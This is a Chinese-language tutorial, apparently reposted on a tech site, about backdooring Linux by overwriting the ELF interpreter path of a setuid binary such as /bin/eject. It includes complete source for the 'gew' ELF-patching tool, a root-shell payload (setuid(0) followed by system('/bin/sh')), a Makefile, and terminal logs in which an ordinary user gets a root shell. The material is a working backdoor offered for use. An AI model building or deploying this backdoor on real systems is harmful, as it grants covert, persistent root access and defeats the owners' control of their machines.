elf-write工具写interpreter后门

类别:软件工程 点击:0 评论:0 推荐:
ABfrag.bin 木马破解
*nix逆向工程,elf加密,病毒资料专题

后门技术
hide module - old
隐藏2.6内核模块
say bye 2 ur printk
injectso source
module_auto_unload, anti-forensic part 1
用elf-write工具写interpreter后门 (elf interpreter segment backdoor)

后门发现技术
Finding hidden kernel modules on linux
finding hidden modules on 2.6 kernel_module_hunter
find socket - extreme way

unix/linux 病毒技术研究
gei - ELF Infector v0.0.1


所谓的interpreter后门就是通过更改elf文件的interpreter segment来进行后门代码触发执行的一种方法。
在下面我给出了这种技术的一个示范,同时给出了一个修改elf文件的程序(目前只有两个小功能)作为辅助工具。
总的来说这种技术难度不高,但是其有一些自己的特点,这些特点我在下面的示例中没有进行描述,但是你可以
通过自己的思考去发掘;P

1. 将我在后面提供的程序编译,得到一个小工具gew和一个示例程序foo
-----------------------------------
grip2@linux:~/tmp/elf-write> ls
. .. foo.c g-elf-write.c Makefile
grip2@linux:~/tmp/elf-write> make
gcc foo.c -o foo -static
gcc -O2 g-elf-write.c -o gew -Wall
grip2@linux:~/tmp/elf-write> ls
. .. foo foo.c g-elf-write.c gew Makefile
grip2@linux:~/tmp/elf-write> ls gew foo -l
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 05:52 foo
-rwxr-xr-x 1 grip2 users 11755 2004-11-24 05:52 gew

2. 选择一个用来弹出interpreter的setuid程序(如果不放心,你可以先做备份)
-----------------------------------
linux:~/tmp/elf-write # find / -perm -4000 -print
...
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/at
/bin/eject
/bin/ping
/bin/ping6
/bin/su
/bin/mount
/bin/umount
...

linux:~/tmp/elf-write # ls -l /bin/eject
-rwsr-xr-x 1 root audio 22630 2004-04-06 09:19 /bin/eject

3使用gew工具修改选中的setuid程序的interpreter,使其指向我们的foo程序
-----------------------------------
linux:~/tmp/elf-write # ./gew
uid: 0 euid 0
gew - ELF write v0.0.1 written by grip2 <[email protected]>
Usage: ./gew [-i new_interp][-e new_entry] elf-file

linux:~/tmp/elf-write # ./gew -i /home/grip2/tmp/elf-write/foo /bin/eject
uid: 0 euid 0
Better luck next file :-P <-- 这里说明我们指定的新interpreter路径超长了
(因为如果新的interpreter的长度超过现有的段长度,要
使其生效,就要调整目标文件的大小,而这是我们不愿看到
的,因此做了限制)

linux:~/tmp/elf-write # ./gew -i /home/grip2/foo /bin/eject
uid: 0 euid 0
linux:~/tmp/elf-write # strings /bin/eject|grep foo
/home/grip2/foo <-- OK,这次成功了

4 将foo复制到我们在上面给的新interpreter路径
-----------------------------------
linux:~/tmp/elf-write # su - grip2
grip2@linux:~> id
uid=716(grip2) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)
grip2@linux:~> pwd
/home/grip2
grip2@linux:~> cp tmp/elf-write/foo .
grip2@linux:~> ll foo
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 06:04 foo

5 以普通用户的身份运行我们修改的setuid程序,这里是eject,看看效果。
-----------------------------------
grip2@linux:~> eject
sh-2.05b# pwd
/home/grip2
sh-2.05b# id <-- 我们已经是root了
uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)
sh-2.05b# exit
grip2@linux:~>


附注:有些情况你可能需要对你的foo进行一些处理,需要重新指定做为interpreter的foo的程序
入口点,这时你可以使用gew的第二个功能(如果你现在没遇到这种情况,就不需要看这里的内容了)
-----------------------------------

grip2@linux:~> objdump -D foo|grep main
804815c: e8 1f 01 00 00 call 8048280 <__libc_start_main>
...
08048244 <main>:
...
08048280 <__libc_start_main>:
804829f: 74 0f je 80482b0 <__libc_start_main+0x30>
80482d7: 75 f7 jne 80482d0 <__libc_start_main+0x50>
80482e7: 0f 85 bd 00 00 00 jne 80483aa <__libc_start_main+0x12a>
8048306: 0f 85 33 01 00 00 jne 804843f <__libc_start_main+0x1bf>
804832b: 77 5f ja 804838c <__libc_start_main+0x10c>
8048346: 77 28 ja 8048370 <__libc_start_main+0xf0>
804836e: 76 e0 jbe 8048350 <__libc_start_main+0xd0>
804837a: 75 0b jne 8048387 <__libc_start_main+0x107>
8048385: 76 a9 jbe 8048330 <__libc_start_main+0xb0>
804838a: 7f 0c jg 8048398 <__libc_start_main+0x118>
804839e: 0f 86 0d 01 00 00 jbe 80484b1 <__libc_start_main+0x231>
80483b4: 74 17 je 80483cd <__libc_start_main+0x14d>
80483ed: 74 17 je 8048406 <__libc_start_main+0x186>
804840e: 0f 85 93 00 00 00 jne 80484a7 <__libc_start_main+0x227>
8048419: 74 03 je 804841e <__libc_start_main+0x19e>
8048456: 74 21 je 8048479 <__libc_start_main+0x1f9>
8048477: 7f 0c jg 8048485 <__libc_start_main+0x205>
80484a2: e9 71 fe ff ff jmp 8048318 <__libc_start_main+0x98>
80484ac: e9 63 ff ff ff jmp 8048414 <__libc_start_main+0x194>
80484b8: eb c6 jmp 8048480 <__libc_start_main+0x200>
80502f3: e8 c8 0f 00 00 call 80512c0 <_nl_load_domain>
80504ae: e8 ad 0a 00 00 call 8050f60 <_nl_free_domain_conv>
80504bb: e8 70 0b 00 00 call 8051030 <_nl_init_domain_conv>
8050b2f: e8 0c 02 00 00 call 8050d40 <_nl_find_domain>
...
...
080a30a8 <_dl_main_searchlist>:
080a3100 <_nl_current_default_domain>:
080a53e0 <main_arena>:
080a5904 <_nl_loaded_domains>:
080a5d20 <_nl_domain_bindings>:

grip2@linux:~> ./gew -e 0x08048244 foo
uid: 716 euid 716

grip2@linux:~> readelf -l foo

Elf file type is EXEC (Executable file)
Entry point 0x8048244
There are 5 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 R E 0x1000
LOAD 0x05b000 0x080a3000 0x080a3000 0x01b7c 0x02e40 RW 0x1000
NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4
NOTE 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 R 0x4
STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Section to Segment mapping:
Segment Sections...
00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro.__strtol_ul_rem_tab .gnu.linkonce.ro.__strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro.__strtol_ull_rem_tab .gnu.linkonce.ro.__strtol_ull_max_tab .note.ABI-tag .note.SuSE
01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs
02 .note.ABI-tag
03 .note.SuSE
04

/*
* gew - ELF write v0.0.1
* written by grip2 <[email protected]>
*/

#include <elf.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

void usage(char *argv[])
{
    fprintf(stderr,
        "gew - ELF write v0.0.1 written by grip2 <[email protected]>\n");
    fprintf(stderr, "Usage: %s [-i new_interp]"
            "[-e new_entry] elf-file\n",
            argv[0]);
    exit(1);
}

int main(int argc, char *argv[])
{
    int fd = -1;
    Elf32_Ehdr *ehdr = NULL;
    Elf32_Phdr *phdr;
    Elf32_Shdr *shdr;
    int i;
    struct stat stat;

    int ch;
    char *pchar;
    char opt_read = 1, opt_entry = 0, opt_interp = 0;
    char filename[64];
    char new_interp[256];
    unsigned long new_entry = 0;

    int euid = geteuid();
    setuid(getuid());
    setuid(euid);
    printf("uid: %d euid %d\n", getuid(), geteuid());
    
    while ((ch = getopt(argc, argv, "e:i:")) != -1) { /* get option */
        switch (ch) {
        case 'e':
            new_entry = strtoul(optarg, &pchar, 16);    
            if (*pchar != '\0')
                usage(argv);
            opt_entry = 1;
            opt_read = 0;
            break;
        case 'i':
            new_interp[sizeof(new_interp)-1] = 0;
            strncpy(new_interp, optarg, sizeof(new_interp));
            if (new_interp[sizeof(new_interp)-1] != 0)
                usage(argv);
            opt_interp = 1;
            opt_read = 0;
            break;
        case '?':
        default:
            break;
        }
    }

    if (argv[optind] == NULL)
        usage(argv);
    strcpy(filename, argv[optind]);

    fd = open(filename, O_RDWR);
    if (fd == -1) {
        perror(argv[1]);
        goto err;
    }

    if (fstat(fd, &stat) == -1) {
        perror("fstat");
        goto err;
    }

    ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
    if (ehdr == MAP_FAILED) {
        perror("mmap ehdr");
        goto err;
    }
    
    /* Check ELF magic-ident */
    if (ehdr->e_ident[EI_MAG0] != 0x7f
        || ehdr->e_ident[EI_MAG1] != 'E'
        || ehdr->e_ident[EI_MAG2] != 'L'
        || ehdr->e_ident[EI_MAG3] != 'F'
        || ehdr->e_ident[EI_CLASS] != ELFCLASS32
        || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
        || ehdr->e_ident[EI_VERSION] != EV_CURRENT
        || ehdr->e_type != ET_EXEC
        || ehdr->e_machine != EM_386
        || ehdr->e_version != EV_CURRENT
        ) {
        fprintf(stderr, "File type not supported\n");
        goto err;
    }

    phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);

    i = 0;
    if (opt_read || opt_interp) while (1) {
        if (i == ehdr->e_phnum) {
            fprintf(stderr, "Interpreter not found.\n");
            if (opt_read)
                break;
            goto err;
        }
        if (phdr[i].p_type != PT_INTERP) {
            i++;
            continue;
        }

        if (opt_interp) {
            if (phdr[i].p_filesz <= strlen(new_interp)) {
                fprintf(stderr, "Better luck next file :-P\n");    
                goto err;
            }
            strncpy((void *) ehdr + phdr[i].p_offset,
                    new_interp, phdr[i].p_filesz);
        } else if (opt_read) {
            printf("current interpreter: %s\n",
                    (char *) ehdr + phdr[i].p_offset);
        }

        break;
    }    

    if (opt_entry)
        ehdr->e_entry = new_entry;
    else if (opt_read)  
        printf("current entry: %p\n", (void *) ehdr->e_entry);

    munmap(ehdr, stat.st_size);
    close(fd);
    return 0;
err:
    if (ehdr)
        munmap(ehdr, stat.st_size);
    if (fd != -1)
        close(fd);
    return 1;
}

foo.c

int main()
{
    setuid(0);
    system("/bin/sh");
    return 0;
}

Makefile

all: foo gew
gew: g-elf-write.c
    gcc -O2 $< -o $@ -Wall
foo: foo.c
    gcc $< -o $@ -static
clean:
    rm *.o -rf
    rm foo -rf
    rm gew -rf

本文地址:http://com.8s8s.com/it/it33710.htm